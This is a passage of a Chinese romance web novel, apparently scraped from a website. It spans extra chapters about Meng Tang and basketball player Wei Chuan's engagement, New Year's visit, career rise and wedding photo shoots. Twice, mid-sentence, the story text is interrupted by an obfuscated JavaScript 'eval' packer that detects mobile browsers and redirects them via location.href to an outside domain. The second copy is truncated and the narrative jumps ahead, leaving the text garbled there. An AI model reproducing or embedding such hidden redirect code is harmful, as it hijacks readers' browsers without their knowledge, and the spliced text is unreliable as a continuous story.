孟棠说:“九点半开馆,你可以用游客的身份去。” “行,我明早九点半再过去。” “去哪儿啊?”魏思沅走过来问。 孟棠说:“琳琳姐要去非遗馆,你去吗?” “来都来了,当然去啊。”魏思沅在孟棠身边坐下,“魏川还让我拍几张你的照片给他呢。” 魏思琳“啧”了声:“谈恋爱还把别人拉下水,他想要孟棠的照片,让孟棠自拍不就行了?” “我说了啊。”魏思沅十分无辜,“他说他想看第三视角的。” 魏思琳:“……他脑回路我是越来越看不懂了。” 孟棠今天是请了假的,明天要正常上班。 早上她出门的时候,魏思琳轻装十公里都跑完了。 孟棠由衷地佩服,这得跑多久?不过魏思琳说这是基础体能的训练。 “赶紧上班去吧。”魏思琳摆了下手,“我去吃饭了,方姐做饭真好吃。” 孟棠失笑,姐弟俩都被方姐迷住了。 到了非遗馆,孟棠刚进员工通道,一群同事围了上来。 孟棠吓了一跳:“怎么了?” “听说你家昨天来了大人物啊?和孟大师谈生意来了?” “不是,”孟棠失笑,“我男朋友家里人过来了,算是订亲吧。” “订亲?那我们喜糖呢?” “呃……忘家里了。”孟棠赶紧拿出手机,“别这么看我,真的准备了,待会儿我男朋友的姐姐过来,我让她们顺道带过来,行吧?” “这还差不多。” 孟棠笑了声:“赶紧上班了,别围着我了。” “你男朋友过来没有?”有人八卦道,“我上次看你说的那个比赛,长得也太牛了,想看看真人。” “没来,除夕才能放假。”孟棠边走边说。 “牛啊,人没来,亲订了。” 孟棠小小“嗯”了声:“就是这么牛。” 回到工位,孟棠掸去灰尘,接着处理昨天的工作。 今天游客不算多,魏思琳和魏思沅卡着点过来的时候,二楼平台都没什么人。 魏思沅拿出手机,调整角度后,对着孟棠拍了一段视频,还感慨了句: “认真工作的女人真帅。” 魏思琳对那些摆放的木雕小物很有兴趣。 魏思沅说:“你要喜欢,就去非遗市集买呗,多得很。” 孟棠抬眼间,看到两人,从里面出来打了招呼。 魏思琳将喜糖给她:“给你工作室的分了吧。” 孟棠将喜糖给同事们分了之后,约着魏思琳和魏思沅一起吃午饭。 非遗市集那边就有一条吃饭的街,但卖艺术品的铺子更多。 三个人在一家老餐馆坐下,一人点了一碗面条和饮料。 孟棠问魏思沅:“你吃这些真的行吗?” 魏思沅赶紧吃了一口面,忙不迭点了头:“可以,我之前在剧组,吃的比这差多了。” “盒饭吗?”孟棠问。 “对,咱也不是女主,我寻思着要跟别人一样,我去,吃到嘴里就给我吐出去了。”魏思沅吐槽道。 魏思琳说:“没苦硬吃。” 魏思沅撇了撇嘴:“你才没苦硬吃呢,我后来下戏,当晚就去吃了一顿大餐。” “你拍剧的地方鸟不拉屎的,能有什么大餐给你吃。” “……” 魏思沅哼了声,本想要反驳两句,手机响了起来,是她的经纪人。 “你俩先吃,我出去接个电话。” 正是饭点,餐馆里很吵。 魏思琳吃饭很快,孟棠吃到一半,她就完事了。 抹了把嘴,她问孟棠:“你们这个馆好像不止木雕啊?我看也有私人的非遗展示馆或者文化馆的,你有这种背景,为什么不自己创办一个?” 孟棠没想到她了解得挺透彻,筷子顿了下,说:“其实我现在工作的地方在很早之前就是孟家的家族工坊,只不过后来家里出了点事,交由政府改建了。” “不过我爷爷保留了部分权益,我才能在毕业后迅速进来工作。” “我也不是没考虑过开私人的专属木雕文化馆,但雁清很小,我还是希望人流量集中一点。” “至于私人的木雕馆,我暂且保留创办的想法,以后再说。” 魏思琳点了点头,虽然和孟棠认识才一天的时间,但看得出来,她很有想法。 魏思沅回了餐馆,饭也吃不下了,拉着魏思琳说:“我经纪人让我去试个镜,你陪我一起去呗?就在影视城那边,也不远。” 魏思琳一点犹豫都没有,直接点了头。 魏思沅助理都没带,娱乐圈又乱七八糟的,一个人试镜肯定不行,所以必然得陪她去走这一趟。 魏思沅转头跟孟棠说:“棠棠,我跟二姐下次再来玩,主要这次试的是个女一号,我高低都得去看一眼。” “行。”孟棠跟着她们起身,“我先陪你们回去一趟。” “别了。”魏思琳阻止她,“我跟她也没什么收拾的,两个包,拿了就走,不耽误你工作。” 魏思沅拉住孟棠的手:“你过年放假,可以和小川一起去z市玩啊。” 孟棠尴尬地笑了笑:“可能去不了。” “为什么?”魏思沅有些好奇。 孟棠说:“我这边也没什么假期,可能就三天。” “我去,你俩拼了吧。”魏思沅突然觉得自己这份工作挺爽的,“你看看我,只要不拍戏,其余的都是个人时间。” 魏思琳扯住她的衣领子:“那是因为你糊。” “魏思琳。”魏思沅叽叽喳喳地跟着她走了。 孟棠站在原地笑了笑,转身回了工作室。 晚上照例七点回,吃饭的时候,手机提示音响了声。 老爷子和方姐已经吃过了,孟棠拿出手机解锁,进了推送的消息页面。 一看,愣了下神。 是魏川的新队伍给他拍了庆生的vlog,视频从他进队开始拍摄,记录了他日常的训练。 视频结尾,有简单的几个问答,问他适不适应队伍,问他对于新队员和教练的看法。 魏川的回答并不官方,坦诚而自然。 “那近期最想做的一件事是什么?” 魏川愣了下,笑得微微苦涩和无奈:“当然是去见我女朋友,因为今天提亲了,我人不在。” 孟棠松了口气,还好解释了下,不然球迷们指定挑三拣四。 视频到此结束,孟棠将它保存了下来。 距离过年还有一个月,孟棠和魏川每天撕着日历过。 然而新队太苛刻,一直到除夕的上午,训练结束之后,魏川才马不停蹄赶往了雁清。 坐车太慢,他直接坐了高铁,惹得楚茵给他打了十几通电话骂他,年礼没带。 可他现在也不可能回去拿吧?魏川只能厚着脸皮继续往前趟。 第216章 番外32:睡大马路 听到大门被敲响的那一刻,孟棠的心猛地一跳。 方姐推了她一把:“赶紧开门去,我都听到小魏在外面叫唤了。” 孟棠拔腿就跑,在魏川一声声“方姐开门”声中迎了出去。 魏川看到孟棠,扬起大大一抹笑,随后朝她展开双臂。 孟棠冲上去搂住他的脖颈,将发红的眼眶蹭在他颈侧冰凉的皮肤上。 魏川纹丝不动,按住她的头,轻轻地揉了揉,在她耳尖上落下蜻蜓点水的一个吻:“想我了?” “嗯。”孟棠的手都不愿意松开。 院中的方姐没有迎出来,魏川心知肚明,他大掌捏住孟棠的后颈,示意她抬起头。 四目还没对上,他已经亲了下去。 小半年的分离折磨死人,爱和思念纠缠,融化在潮湿温热的吻中。 有小孩路过笑了声,吓得孟棠赶紧缩进了龟壳里。 魏川安抚地拍了拍她:“没事,小孩懂个屁。” “现在小孩懂得可多了。”孟棠推他一把,“进去了,方姐给你留了饭菜。” 不说还好,一说魏川就开始馋。 两人进了院中,魏川给方姐和老爷子打了招呼。 “坐下吃饭吧。”孟遇春说。 魏川尴尬地摸了把后脑勺:“那个……我来得及,年礼忘带了。” 方姐“扑哧”一乐:“没事,赶紧坐下吃饭,有段时间没见你了,感觉都瘦了。” 孟遇春:“赶紧坐下吃饭,我缺你那点年礼。” “好嘞。”魏川嘿嘿一笑,接了方姐给他的筷子,埋头干饭。 “你慢点。”孟棠提醒了声。 人也看到了,老爷子和方姐对视一眼,默契地出了餐厅。 魏川扬了下头,对孟棠说:“给我盛碗汤。” 方姐做了老鸭煲,汤水清而不淡,补而不燥,魏川吃过一次后念念不忘。 孟棠给他盛了碗递过去:“方姐知道你喜欢,特地做的。” “她真是把我当亲儿子了。” 孟棠没接话,只是笑了笑,让他能够安静地填饱肚子。 等他吃完,方姐进来收拾,顺道忙晚餐,孟棠要帮忙,被她阻止了:“你俩就这两天的时间,还不赶紧去互诉衷肠。” 孟棠赧然一笑:“您真的是……” “方姐英名。”魏川拍了句马屁,搂着孟棠的肩膀出了餐厅。 他刚要把包送到自己平日里睡的房间,孟棠一把扯住了他:“别去了,方姐没有收拾。” 魏川一愣:“那我睡哪儿?” “……睡大马路。”孟棠扭头回了房间。 魏川回过味来,几步追上去问:“你的意思是我今晚跟你睡?” “你能不能小点声?”孟棠转头要去捂他的嘴,魏川抓住她手腕,让她搂住自己的腰。 孟棠哼了声,故意使劲勒了他一下。 这点力道不痛不痒,魏川一手拎着包,一手抱住孟棠,将人提溜进卧室。 孟棠拍了拍他肩膀:“把包挂起来,衣服拿出来放进柜子里,不许扔床上。” “好。” 魏川莫名有种被老婆管的微妙幸福感。 他把衣服拿出来扔到柜子里,怕孟棠嫌弃,又叠了下,虽然叠得还是一团乱。 魏川转过身邀功:“怎么样?” 孟棠摇了摇头:“大少爷。” 魏川笑了声:“大少爷就大少爷呗,反正结婚后有保姆。” 孟棠:“……” 魏川哼唧了声,走到孟棠跟前抱住她晃了晃:“圣诞节那天,有没有在心里骂我啊?” 孟棠失笑:“我骂你干什么?那天叔叔阿姨都来了,老太太也来了,琳琳姐和沅沅姐还在这里过了一晚,我虽然有一点小小的失落,但我能明白的。” 魏川的大拇指抵着她耳朵下方揉了揉:“有时候也不能太懂事吧?我听我妈说你不打算办订婚宴了,怎么想的?” 孟棠推开他,拉着他到外间的客厅坐下,说:“你作为球队新秀,赛事从十月到来年四五月份,然后又是各种各样的训练和比赛,过年就放两天假,你有时间举办订婚宴吗?难道还想订婚宴也让我一个人吗?” “好好好。”魏川搂住她,“不办不办,你说了算。” 还挺押韵,孟棠哼了声:“你要是有时间,我当然可以办。” 魏川知道她没有生气,将她揽入怀中拍了拍:“那就直接结婚吧。” “行,等你有空。” “别以为我不知道啊,你过年也就放了三天。”魏川的手摸到她腰间,故意挠了两下。 孟棠按住他的手不让动。 “我这里是可以请假的,我们工作室也有别的师傅,你打篮球还能让别人替你吗?” “说不过你。” “因为是事实呗。” “半年没见,怼人的功夫见长啊。” 孟棠转过身体,几乎趴在他胸口,眉眼一弯:“只针对你。” 魏川低头,用鼻尖轻轻顶撞她的鼻尖,温柔又旖旎。 孟棠扯了扯嘴角,埋进他颈窝蹭了蹭,享受片刻相拥的安宁。 没一会儿,两人的手机齐齐响起。 孟棠从他怀中抬起头:“肯定是群里的消息,你猜会是谁?” 魏川说:“大概是许鹤清和谢泠音,他俩今年没有回国。” 孟棠跟他一个想法,点了点头:“看一下。” 魏川解锁了手机,果然没猜错,是许鹤清和谢泠音在群里传了两张两人的合照。 “泠音看起来好开心。”孟棠笑了声,“他俩是不是有点变了?” 魏川看了会儿,说:“确实有点变化,许鹤清以前在学校,我说实话,挺bking的一个人,他这人也是奇,只有在喜欢的人面前才有毒舌的真面目,现在出国了,这bking的气质不减反增,我也是服了!” 孟棠想起当初的乌龙,忍了忍笑,附和地点了点头。 “笑什么?”魏川抓住她的小辫子。 孟棠躲开他的手:“泠音平时很有礼貌,遇到不喜欢的人也不会给什么好颜色,但坏脾气都给了许鹤清,觉得他俩很有反差罢了。” 魏川说:“他俩天生一对不解释。” 孟棠抵了抵他:“赶紧回啊。” 魏川不愿意放开孟棠,一只手按着她趴在自己胸口,另一只手编辑了信息:【新年快乐,你们有庆祝吗?】 许鹤清:【会跟着当地的华人一起庆祝新年,你怎么样?】 魏川:【忙,提亲那天都不在。】 一句话,把群里的人全都炸了出来,纷纷排队丢下一句“卧槽”。 梁衡:【提亲?川哥你不够意思啊,这么大的事也不说一声。】 李卓:【川哥自己都不在。】 梁衡:【……孟棠没生气吗?】 石岚:【孟棠,你俩真的订亲了?】 魏川:【真的,我是孟棠。】 谢泠音:【你俩这速度……我是真佩服,不会等孩子出来了,梁衡还单身吧?】 梁衡:【突然攻击我干什么?你要是一语成谶,等你俩回国,我是不会放过许鹤清的。】 杨可:【OMG!你俩怎么都没发个朋友圈?】 李卓:【川哥估计没脸吧,毕竟也没听说过哪家订亲,新郎不在的。】 杨可:【……有道理。】 孟棠看着“新郎”两个字,总觉得怪怪的。 魏川和她相反,直接笑了出来,自己在嘴里咂摸了几遍,都给他叫美了。 石岚:【你俩打算什么时候结婚?结婚的时候,魏川应该在吧?】 孟棠“扑哧”笑了声:“这将成为一个梗。” 魏川无语了:“问的什么话?我不在你跟谁结婚?” 梁衡:【我感觉还要等一等,川哥刚进华羲,比赛还没打一场呢,我说对吧川哥?过年就放了两天吧。】 魏川悲催地发了个无奈的表情包。 谢泠音:【喜糖呢?】 魏川:【我发了你也吃不到啊。】 许鹤清:【占个便宜,你发个红包吧。】 发红包魏川多拿手啊,依旧没人199发了出去,就为了听那句“川棠99”,还要求他们必须语音发过来。 闹了一阵,群里安静下来。 孟棠拍了拍魏川:“走了,去把院子里的灯笼都挂起来。” 春联早已经在上午就贴好了,院子太大,灯笼才挂了一半。 有魏川在,效率高了不少。 “门外两个大的我去挂,你在里面挂小的。”魏川用小灯笼的流苏刮过孟棠的脸,“挂完大的我来找你。” “行,你去吧。” 去年的灯笼是孟棠踩着板凳挂上去的,孟遇春一把老骨头,孟棠不让他上去。 经过一个小时的忙碌,整个宅院从前到后,裹着温情的幸福。 魏川说:“现在街上应该还有卖烟花的,我去买一点,买威力小的,咱们就在院子里放。” “行。”孟棠说,“我跟你一起去吧。” 方姐乐呵道:“买漂亮一点的。” “知道了。” 烟花小摊还有很多,魏川每买一个之前都会试一下,确定后一起付了钱。 满满当当两大袋,根本放不完,但初一、初五、元宵节都能放。 回到院中,天色逐渐转黑,孟棠和魏川起身去了厨房,帮着方姐一起忙活。 虽然他俩什么也不会,但闹腾一下,总好过让方姐一个人忙活强一点。 魏川将碗筷摆好,孟棠去端菜,他赶紧拦住:“你坐着吧,这个太烫了,我来端。” 孟棠喊了老爷子吃年夜饭,语气都有些急。 孟遇春傲娇地哼了声:“不会耽误你俩放烟花的。” “什么叫我俩啊?”魏川反驳,“吃完饭,我俩放的时候,您和方姐就坐旁边看。” “好好好,一起看。”方姐笑了声。 往年冷清的宅院里因为一个人的加入变得热闹又踏实。 第217章 番外33:你不要吗 年夜饭嘛,适合慢悠悠地吃,吃到最后,孟棠吃出了一身汗。 她看了眼魏川,说:“把南边的窗户开一点,透个气。” 魏川看向方姐:“会不会灌进来凉风?” 方姐:“没事,你开去吧,确实有点热。” 魏川起身将窗户掀上去一半,半遮半掩间,彩灯坠眼。 屋外烟花漫天,却因视线阻碍只能听个声响。 “已经有人放烟火了。”孟棠说。 孟遇春说:“小孩吧,坐不住。” “我也去窗下点两个应应景。”魏川起身,从柜子上拿了三个黄金树。 孟棠喊了声:“你小心点。” “放心吧,威力不大。”魏川去厨房拿了打火机,将烟花摆好后,按照顺序一个个点燃。 “滋啦”一声,一道刺眼的银花冲破筒口,照亮了魏川整个人。 他从窗口探进头:“怎么样?好不好看?” 孟棠点了点头:“好看。” “吃饭。”魏川说,“吃完咱们再放。” 烟花转瞬即逝,魏川刚坐下没多久,绚烂归于黑暗。 大概半小时,孟遇春放下了筷子,紧接着方姐和孟棠也放下了筷子。 魏川饭量大,方姐做的又合他胃口,硬生生比别人多花了二十分钟的吃饭时间。 吃完饭,他拎着烟花去了院中开阔的地方。 “放什么?”魏川回头冲孟棠笑。 孟棠随手给他拿了两个,叫闪亮美人,魏川让方姐和老爷子站远点,自己摆好烟花点燃。 两束光丝一前一后直冲天际,彩花银光交织飞舞,照亮看烟花的四个人。 魏川笑了声,跑过去将手机调至自拍模式,举起手对后头三个人招呼了声:“看我镜头。” 方姐还知道笑笑,孟遇春则一脸严肃。 拍照嘛,什么表情都行,魏川没有强迫老爷子一定要笑,按下了快门键。 一连拍了六张,他全都发朋友圈里了。 秦渊在下面评论:【你知道我有多久没见你了吗?结果过年,你跑你老婆家去了。】 魏川:【一共两天时间,后天上午训练,明天大年初一,我得赶回z市,你说就这么点时间,我还能匀给你了?】 秦渊:【……不必,我不配!】 魏川:【知道就好,新年快乐。】 秦渊:【……】 以前最起码还能发个红包,现在只有虚无缥缈的四个字。 还有不少评论,但魏川没时间再去看。 他拉着孟棠去了院门口,摆了一排。 有小孩在院门前玩耍,魏川包了红包,让几个大孩子替他点烟花,自己拉着孟棠坐在门前的台阶上。 人多力量大,几个家伙动作也快,显然是放烟火的老手。 魏川赶紧招呼了声:“赶紧离远一点。” 一群小孩蜂拥至台阶上,叽叽喳喳地仰着头看烟花。 魏川靠向孟棠,小声道:“我这辈子没见过这么多小孩。” 孟棠:“……谁说你没见过?” 魏川挑了下眉。 “z市的博物馆,拿走了我的书签,那会儿有22个小孩呢。” 魏川笑了声:“我差点忘了。” 烟花又寂灭于黑暗,小孩跑了,孟棠挽住魏川的胳膊,枕上他的肩头。 魏川问她:“今晚要守岁吗?” “现在的人已经不讲究这个了,不都是通宵娱乐嘛。”孟棠说,“你以前在家的时候,会玩什么?” “还真被你说对了。”魏川胳膊从孟棠后背穿过,环住她的肩膀,“通宵娱乐,和秦渊一起唱唱歌、喝喝酒,还有打打牌,但是很少,因为我很小就打篮球了,作息比较规律。” 孟棠吸了吸鼻子,鼻头通红一片。 “走吧。”魏川将她扶起来,“外面太冷了,去洗漱睡觉。” 进了院子里,方姐和老爷子还围炉唠嗑呢,魏川握着孟棠的手在炉子边烤了下。 “越来越晚了,寒气太重,您二位要不歇着去吧?”魏川对方姐和孟遇春说。 “走了,睡觉去。”孟遇春拍了拍手,掉了一地的花生皮。 方姐说:“你俩先睡去吧,我待会儿就走。” “行。” 魏川和孟棠回了房间,两人洗漱后,拱进了暖烘烘的被窝。 孟棠的床上又香又暖,跟她身上是一个味道,魏川变态似的,拿着她的枕头嗅了下,然后将孟棠抱了满怀:“这感觉真好啊。” 孟棠往他怀里靠了靠:“你别乱动了,我枕得不舒服。” 魏川立刻不敢动了,稍稍侧过身体,放低肩膀让她靠着。 床帘放下后,床里的空间陷入了黑暗中,能够感知彼此的只有两具温热的身体和近在咫尺的呼吸。 魏川喉结下意识地滚动,搂着孟棠的手也越收越紧。 孟棠抿了下唇,趴在他身上动也不动。 魏川在孟棠的发顶亲了下,小声道:“睡吧。” 孟棠一愣:“你……不要吗?” “不要。”魏川按住她后背,“没有安全套,而且今晚也不合适。” 孟棠沉默了一瞬,闭上了眼睛。 魏川一下一下拍着她的后背,没把孟棠拍睡着,自己倒先睡了过去。 孟棠轻笑一声,摸黑从他怀中起来,给他盖上了被子。 抱在一起睡其实并不舒服,她在魏川旁边躺下,摸着他的手臂进了梦乡。 两人早上是被群里一连串的拜年信息炸醒的。 孟棠打开手机,一一回复了过去。 魏川迷迷糊糊地睁开眼睛,身体一转,手脚并用缠上了孟棠。 “醒了?”孟棠往后偏了偏视线,“还要睡吗?” “不睡了。”魏川拱进孟棠的后颈亲了下,“新年早上好。” “早上好。”孟棠回复完最后一条信息,转过身摸了摸他的脸,“起来吧,八点了,方姐的早饭肯定准备好了。” “好。” 魏川又赖了会儿,才和孟棠一起起床。 推开房门一看,两人齐齐愣住,外面覆上了厚厚一层白。 “下雪了?”孟棠语气惊喜。 魏川一把将她扯了回来:“等着,我去给你拿件厚外套,你穿这个不行。” 孟棠应了声,站在门内没动。 方姐看见她,说:“你衣服穿少了。” “魏川去拿了。”孟棠笑了声,“什么时候下雪的?” 方姐:“半夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226353|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下的,早上那会儿刚停。” 魏川给孟棠拿了外套,顺手给她披上。 和方姐拜了年,两人去卫生间刷牙洗漱。 早饭后,魏川和孟棠对视了眼,将院中积攒的雪堆积到一起。 “你堆过雪人吗?”孟棠甩了下手套上的雪,“我小时候,爷爷和方姐会跟我一起。” “当然堆过。”魏川将一大一小的雪球叠放在一起,“技术不到家,怎么能让雪人性别明显呢?” 孟棠笑了声:“又没头发,让它们戴帽子和围巾吧。” 方姐拿了一个篮子过来:“里面有你们要的纽扣和胡萝卜。” “谢谢方姐。”魏川接过之后,和孟棠一起装饰了起来。 两人兴冲冲地玩到中午,各自和雪人拍了张照片,又让方姐给他俩拍了张和雪人的合照。 时间一闪而逝,吃午饭的时候,餐桌上的气氛明显不对劲了。 因为吃完饭,魏川就得走了。 今天这日子伤怀也不太吉利,所有人忍着离别时的情绪,默默陪着魏川好好地吃了这顿饭。 孟棠站在书房窗口的树下,拨动枝条上的白雪。 魏川走过来,她失神到没听见动静。 察觉时已经来不及了,魏川使坏地晃了下纸条,淋了两人满头的雪花。 魏川看着雪花消融在孟棠的鼻尖,轻笑了声:“凉吗?” 孟棠拾起一小撮他肩上的雪粒子,快速地按到他的脸上,回敬道:“凉吗?” “拔凉拔凉。”魏川牵起她的手抵在心口,“不过是这里,因为我要走了。” 孟棠点了点头:“好好训练,好好比赛。” 魏川按着她后脑摸了把:“我走了。” 孟棠没去送,只是转头看着他和方姐、孟遇春打了招呼离开。 她无比庆幸的是自己也足够忙碌,才能在平淡的日子里把思念压下去,只在睡前流露满室。 入队第一年,魏川基本从替补席出发,即便如此,数据也算漂亮。 更有高光时刻和球迷加持,让他在短短一年后,迅速崛起成为球队的新主力。 对于这个结果,教练是鼎力支持的,因为他们当初招魏川进来,就是因为队伍缺乏新生。 但球员们是有些质疑的,不过老队员受伤,转会,让他们不得不接受魏川。 进队第二年,是魏川作为主力军的崛起年,甚至过年都没有回家,飞去了美国训练营。 赛场上大爆发,数据全面上涨,首次入选了CBA全明星正赛,荣膺“最具进步球员”奖。 第三年,他成为球队外线的绝对核心,弥补了上一年和总冠军大战六场最终落败的遗憾,一举拿下个人MVP,入选赛季最佳阵容一阵,全明星赛票王兼AMVP。 魏川一路过关斩将,从坐冷板凳到拥有话语权且荣誉加身的球员,不过短短三年。 要问三年里他最愧对的是谁,无疑是孟棠,因为他俩三年见面的次数屈指可数。 通话在第二年才变得频繁,不过孟棠在雁清做了什么,魏川全都知道。 而他也即将迎来他入队以来最长的一个假期,整整七周的时间,正好忙他和孟棠的婚礼。 第218章 番外34:婚纱照 魏川放了假,直接回了家。 楚茵早就收到他放假的消息,让家里的阿姨给他做了一桌子爱吃的菜。 吃完饭,楚茵让他上楼休息。 魏川摇了摇头,将楚茵拉到客厅坐下,问:“你们婚礼准备得怎么样了?” “给你急成什么样了?”楚茵白了他一眼,“要是没有婚礼,家门都不入吧?” “妈……” “行行行。”楚茵哼了声,“你就落一张嘴,知不知道结婚要准备的事情太多。” “场地是你俩自己商定的,就在螺洲岛,是海边婚礼,我一早就和婚礼策划师制定了好多个方案,最后是孟棠拿主意的。” “礼服婚纱更不必说了,你求婚之前我就准备了,最起码提前了18个月。” 魏川求婚是从美国集训营回来之后,孟棠来z市看他。 两人短暂地相处了半天,最后哪儿没去,进了一家珠宝店挑选了对戒。 出来后,他什么还没说,孟棠就问他:“什么时候可以结婚?” 魏川一时愣在原地,半晌才找到自己的声音:“我现在就让我妈准备。” 孟棠提前了解过婚礼的各项进程,闻言点了点头。 自那天起,楚茵打麻将的工夫都没了,一心沉浸在婚礼策划上。 “筹备和邀请也很麻烦,从婚礼的主题调性到宾客菜单,每个小细节都不能出错。” “现在唯一没有办的就是你和孟棠的婚纱照拍摄,懂了吗?” 魏川起身:“我现在就去雁清。” 他们一共五六个主题的婚纱照风格,雁清拍中式,其余有一套在z大,z大拍日常,剩下的主纱风格再换地点。 拍摄婚纱照早就定下了团队,不过风格不同,摄影师也不同,只等魏川放假一声令下呢。 这个是目前最急的,因为拍完还有一个选片精修到成品的过程。 唯一值得安慰的是魏川和孟棠的颜值够得上,不然难过选片这一关。 下午三点,魏川到了雁清。 孟棠早就接到他的消息了,一直在大门口等着。 魏川很远就看见了她,下了车直奔过去,一把将人搂了过去:“等久了吧?” “没。”孟棠往他身后望了眼,“拍摄团队呢?” “酒店呢,这个点了,我怎么带过来?” 孟棠拉住他的手:“跟我进来,选几套明天在老宅里拍的衣服。” 老宅翻修过,开春的时候,孟棠又添置了许多软装,场地不利用起来,很是可惜。 进了房间,魏川被满室挂着的礼服吓了一跳,不知道的还以为婚服店。 孟棠说:“都是阿姨送过来的。” 魏川围着绕了一圈,说:“我还真选不出来,明天让摄影师看看吧。” “不过这条香槟色的礼服感觉和家里的屏风很搭,到时候配几株白梅,绝了。” 孟棠扬了下眉:“你这想法不错啊。” 魏川呵呵傻笑:“我看到摄影团队的道具了,以假乱真的梅花。” 孟棠说:“阿姨请的团队不会便宜,那应该是手工造花师定制的,形态上会追求完美。” “原来是这样。”魏川点了下其中最隆重的凤冠霞帔,“堂屋桌案上摆上蜡烛,这套适合。” 孟棠笑了声:“还说自己不懂。” 魏川说:“我就是凭感觉应该如此。” 孟棠刚想说什么,手机忽然响了起来,看到来电显示愣了下。 “谁啊?”魏川凑过去问。 “泠音。”孟棠愣愣道。 她和许鹤清三年都没回来。 “接啊。” “哦。”孟棠下意识应了声,接了电话,“泠音?” “啊啊……我回来啦。”谢泠音开心地尖叫一声,“再有四个小时到z市,你在雁清吧?我先去见杨可。” “真回来了?”孟棠心喜,“什么时候走啊?” 谢泠音说:“不走了,回来准备结婚了,我们也是因为你俩要结婚了才决定回国的。” 孟棠和魏川的婚礼定在6月22日,请柬早就发出去了,只邀请了双方亲朋好友,回z市后再补办一场酒店婚礼就行。 毕竟魏立峰还有很多生意场上的朋友,大家有来有往,补办还是很有必要的。 孟棠说:“明天拍婚纱照。” 谢泠音失笑:“婚都快结了,婚纱照都没拍,不过这样也好,我给你俩准备了小惊喜,等你们拍完雁清的,我和杨可、石岚在z大等你。” 孟棠和魏川决定在z大拍一组照片时,是提交了申请表的。 他俩毕业于z大,魏立峰每年都会捐钱,孟棠和魏川是学校的招生简章,这点请求,自然很快被批准,只要不影响学生上课。 “石岚她们都去?”孟棠愣了下,“我只是拍婚纱照,要不你让她们把假期留给六月底那几天吧。” 谢泠音:“不用担心,你结婚,无论如何我们都会去的,等你哦。” “谢谢,那就z大不见不散。” 其实也就是后天的事。 挂断电话后,孟棠亮晶晶地看向魏川:“听见了没有?泠音回来了,她真的要和许鹤清结婚了。” “修成正果不容易啊。”魏川感叹了句,“老谢都改行了。” 孟棠叹了声气:“现在这个社会,爱情太难得了。” “回学校你打算拍什么风格的?”魏川转移话题,怕她乱想,“总不能穿礼服去篮球场吧?” 他俩谈恋爱的时候,篮球场可是重要元素,拍照逃不开的。 “拍个日常吧,我想象不到我在学校里穿婚纱。” 这都吸引多少回头率,吃不消。 翌日一早,摄影团队在八点登门,一群工作人员看到宅子都愣了,面面相觑,这是来到了哪个大户人家? 方姐和魏川将人招呼进来,孟棠和孟遇春和他们打了招呼。 场地提前拍给摄影师看过,也做了一些不能破坏任何物件的说明,毕竟都不是便宜货。 清单落地后,摄影师熟悉了下场地,孟棠和魏川则被叫去做妆造。 摄影师和助理摄影师根据孟棠选择的两套衣服开始布置场景,场景不在一个地方,可以同步进行。 魏川也不是没见过孟棠穿礼服的样子,但今天显然更为隆重。 一席香槟色露背礼服衬得孟棠高洁雅致,白梅都衬托不出的美。 十点左右,拍摄正式开始。 一道四扇木雕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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到了公寓的地下车库,孟棠才被魏川叫醒。 孟棠靠在魏川的胸口,直到上了楼才勉强睁开,去了浴室。 魏川被她后洗澡,等他回卧室的时候,孟棠已经睡着了,看神情就知道累得不轻。 魏川都没敢亲她一下,生怕把她吵醒了。 “晚安。”他自己嘀咕了声。 第二天早上六点,孟棠被闹钟吵醒,她推了一把魏川:“赶紧起来了,和泠音她们约了八点。” 毕业好几年了,她们还没见过,孟棠实在难以平静。 “起了。”魏川眼睛都没睁开,就去了浴室洗漱,就这样,孟棠还催了几句让他叫餐。 魏川咬着牙刷回了卧室,给管家打了电话。 谢泠音的电话在他们出门之前打了进来,问他们到哪儿了。 “已经出门了。”孟棠赶紧扯了下魏川,“你们已经到了吗?” “还没有,我们也刚出门。” 孟棠松了口气:“那就行,学校见。” “学校见。” 第219章 番外35:惊喜 大概十五分钟,孟棠和魏川抵达了z大的正门。 校门口有停车位,熄火下车后,孟棠看到了两辆出租车一前一后停了下来。 “孟棠!” 石岚一只脚落地,就朝不远处兴奋地喊了声。 孟棠扬起笑脸,小跑了过去:“石岚。” “哈哈……”石岚一把抱住孟棠,“几年不见,咋又变漂亮了。” 谢泠音和杨可、许鹤清从身后走过来。 魏川和许鹤清对着拍了下手,好兄弟一切尽在不言中。 “泠音、杨可。”孟棠松开石岚,和她俩打了招呼。 “可以啊你。”谢泠音手指拨了下孟棠的下巴,“越养越娇了,看来魏川对你不错。” “什么越养越娇。”孟棠“啧”了声,“你倒外放了不少。” 谢泠音挑了挑眉:“自由的风养人呐。” “自由过头了。”杨可笑了声,“走吧,愣在这里干什么,孟棠不是还要拍照吗?” 学校不宜进太多的人,今天又和老朋友见面,魏川临时更换了摄影师。 美院里大把玩摄影的,魏川请了个大四的小有名气的学弟。 **点正是上课的时候,学生们都在教室,让孟棠松了口气。 日常一点的服装带了两三套,孟棠和魏川分开,去了卫生间换衣服。 第一套魏川是球衣,孟棠就是简单的裙装,机会难得,孟棠还和室友们也拍了几组。 换最后一套白衬衫的时候,孟棠问谢泠音:“你们给我准备了什么惊喜?” 谢泠音:“……告诉你了还叫什么惊喜?下午你就知道了。” “神神秘秘的。”孟棠嘀咕了声。 “你俩先去拍。”谢泠音说,“我去看看场景弄好没有。” 孟棠问:“去哪儿啊?” 谢泠音:“就是给你的惊喜啊,你应该会喜欢的,拍完给给我打电话。” “我俩也去。”石岚拉着杨可,跟着谢泠音走了。 